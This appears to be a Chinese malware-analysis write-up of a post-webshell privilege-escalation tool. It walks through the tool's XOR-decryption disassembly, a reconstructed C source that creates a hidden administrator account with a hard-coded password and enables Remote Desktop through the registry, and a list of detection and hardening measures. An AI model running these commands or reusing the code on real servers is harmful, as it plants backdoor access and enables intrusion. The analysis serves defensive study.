逆向分析：服务器提权开启3389远程连接工具<\/h1>

1. 程序基本信息<\/h2>

MD5值<\/strong>: 58946C2FE49563591EBE0D61F457DE0A<\/li>
文件大小<\/strong>: 178 KB (182,526 字节)<\/li>
病毒家族名<\/strong>: Virus.Win32.Parite.a<\/li>

用途<\/strong>: 黑客攻击网站获取Webshell后提升服务器权限，用于站点和数据库服务器分离情况下延伸权限到数据库服务器并开启3389远程连接<\/li> <\/ul>
2. 主要行为分析<\/h2>
2.1 注册表修改行为<\/h3>
修改以下注册表键值以开启3389端口：<\/p>
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections <\/code><\/pre> 修改内容：<\/p> type: 0x00000004 (REG_DWORD)<\/li> datalen: 4<\/li> data: 00 00 00 00 (将值设为0表示允许远程连接)<\/li> <\/ul> 2.2 用户创建行为<\/h3> 执行以下命令创建管理员用户：<\/p> net user admin admin123 \/add<\/code> - 创建用户admin，密码admin123<\/li> net localgroup administrators admin \/add<\/code> - 将admin用户加入管理员组<\/li> <\/ol> 3. 逆向分析过程<\/h2> 3.1 初步信息收集<\/h3> 关键API函数分析<\/strong>：<\/p> RegCreateKeyEx<\/code>: 创建\/打开注册表键<\/li> RegSetValueEx<\/code>: 设置注册表值的数据和类型<\/li> RegCloseKey<\/code>: 关闭注册表句柄<\/li> LoadLibraryA<\/code>: 加载DLL模块<\/li> GetProcAddress<\/code>: 获取DLL导出函数地址<\/li> WaitForSingleObject<\/code>: 等待对象信号<\/li> CreateProcess<\/code>: 创建新进程<\/li> <\/ul> 3.2 反汇编分析<\/h3> 代码解密过程<\/strong>：程序使用XOR循环解密后续汇编代码：<\/p> 00404000 68 7C3D4700 push 0x473D7C 00404005 58 pop eax 00404006 68 18404000 push 3389.00404018 0040400B 5A pop edx 0040400C 68 C4060000 push 0x6C4 00404011 5E pop esi 00404012 310432 xor dword ptr ds:[edx+esi],eax ; XOR解密后续代码 00404015 83EE 04 sub esi,0x4 00404018 75 F8 jnz short 3389.00404012 0040401A 90 nop 0040401B 90 nop 0040401C E8 7D010000 call 3389.0040419E ; 解密后的代码 <\/code><\/pre> 主要功能函数分析<\/strong> (地址00401026)：<\/p> 创建用户：<\/p> 调用CreateProcess<\/code>执行net user admin admin123 \/add<\/code><\/li> 调用CreateProcess<\/code>执行net localgroup administrators admin \/add<\/code><\/li> <\/ul> <\/li> 修改注册表：<\/p> 修改SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections<\/code>值为0<\/li> <\/ul> <\/li> <\/ol> 3.3 还原的C代码<\/h3> #include<\/span> <stdio.h><\/span> <\/span><\/span><\/span>#include<\/span> <windows.h><\/span> <\/span><\/span><\/span><\/span> <\/span><\/span>BOOL excute<\/span>(LPSTR lpCommandLine) { <\/span><\/span> PROCESS_INFORMATION ProcessInfo; <\/span><\/span> STARTUPINFO StartupInfo; <\/span><\/span> HANDLE hStdInput, hStdOutput; <\/span><\/span> SECURITY_ATTRIBUTES SecAttr; <\/span><\/span> <\/span><\/span> SecAttr.nLength =<\/span> sizeof<\/span>(SECURITY_ATTRIBUTES); <\/span><\/span> SecAttr.bInheritHandle =<\/span> TRUE; <\/span><\/span> SecAttr.lpSecurityDescriptor =<\/span> NULL; <\/span><\/span> <\/span><\/span> BOOL ret =<\/span> CreatePipe(&<\/span>hStdInput, &<\/span>hStdOutput, &<\/span>SecAttr, 0<\/span>); <\/span><\/span> ZeroMemory(&<\/span>StartupInfo, sizeof<\/span>(StartupInfo)); <\/span><\/span> StartupInfo.cb =<\/span> sizeof<\/span>(StartupInfo); <\/span><\/span> StartupInfo.hStdOutput =<\/span> hStdOutput; <\/span><\/span> StartupInfo.hStdError =<\/span> 0<\/span>; <\/span><\/span> StartupInfo.wShowWindow =<\/span> SW_HIDE; <\/span><\/span> StartupInfo.dwFlags =<\/span> STARTF_USESHOWWINDOW |<\/span> STARTF_USESTDHANDLES; <\/span><\/span> <\/span><\/span> BOOL bret =<\/span> CreateProcessA(0<\/span>, lpCommandLine, 0<\/span>, 0<\/span>, <\/span><\/span> NORMAL_PRIORITY_CLASS, 0<\/span>, 0<\/span>, 0<\/span>, <\/span><\/span> &<\/span>StartupInfo, &<\/span>ProcessInfo); <\/span><\/span> <\/span><\/span> if<\/span>(bret) { <\/span><\/span> WaitForSingleObject(ProcessInfo.hProcess,INFINITE); <\/span><\/span> CloseHandle(ProcessInfo.hThread); <\/span><\/span> CloseHandle(ProcessInfo.hProcess); <\/span><\/span> } <\/span><\/span> return<\/span> bret; <\/span><\/span>} <\/span><\/span> <\/span><\/span>BOOL reg_set<\/span>(HKEY hKey, LPSTR lpSubKey, LPSTR lpValueName) { <\/span><\/span> HKEY phkResult =<\/span> NULL; <\/span><\/span> DWORD dwValue =<\/span> 0<\/span>; <\/span><\/span> <\/span><\/span> RegCreateKeyEx(hKey, lpSubKey, 0<\/span>, NULL, <\/span><\/span> REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, <\/span><\/span> NULL, &<\/span>hKey, NULL); <\/span><\/span> RegSetValueEx(hKey, lpValueName, 0<\/span>, REG_DWORD, <\/span><\/span> (CONST BYTE*<\/span>)&<\/span>dwValue, sizeof<\/span>(DWORD)); <\/span><\/span> RegCloseKey(hKey); <\/span><\/span> return<\/span> true; <\/span><\/span>} <\/span><\/span> <\/span><\/span>int<\/span> main<\/span>() { <\/span><\/span> excute("net user admin admin@123 \/add"<\/span>); <\/span><\/span> excute("net localgroup administrators admin \/add"<\/span>); <\/span><\/span> reg_set(HKEY_LOCAL_MACHINE, <\/span><\/span> "SYSTEM<\/span>\\<\/span>CurrentControlSet<\/span>\\<\/span>Control<\/span>\\<\/span>Terminal Server"<\/span>, <\/span><\/span> "fDenyTSConnections"<\/span>); <\/span><\/span> return<\/span> 0<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>4. 防御措施<\/h2> 特征码扫描<\/strong>:<\/p> 监控程序MD5: 58946C2FE49563591EBE0D61F457DE0A<\/li> 监控特定字符串特征: "fDenyTSConnections"、"net user admin"等<\/li> <\/ul> <\/li> 行为监控<\/strong>:<\/p> 监控net<\/code>和net1<\/code>命令的执行<\/li> 监控注册表键HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections<\/code>的修改<\/li> <\/ul> <\/li> 系统加固<\/strong>:<\/p> 限制非管理员用户执行系统命令<\/li> 监控3389端口的开启行为<\/li> 设置账户创建和权限变更的审计策略<\/li> <\/ul> <\/li> 入侵检测<\/strong>:<\/p> 部署IDS\/IPS系统检测此类提权行为<\/li> 记录和分析系统日志中的可疑活动<\/li> <\/ul> <\/li> <\/ol> 5. 总结<\/h2> 该工具通过以下步骤实现服务器提权：<\/p> 创建管理员账户<\/li> 修改注册表开启3389远程桌面服务<\/li> 使用XOR加密技术隐藏核心代码<\/li> <\/ol> 防御此类攻击需要结合特征检测和行为监控，特别关注系统账户和远程桌面服务的变更。<\/p>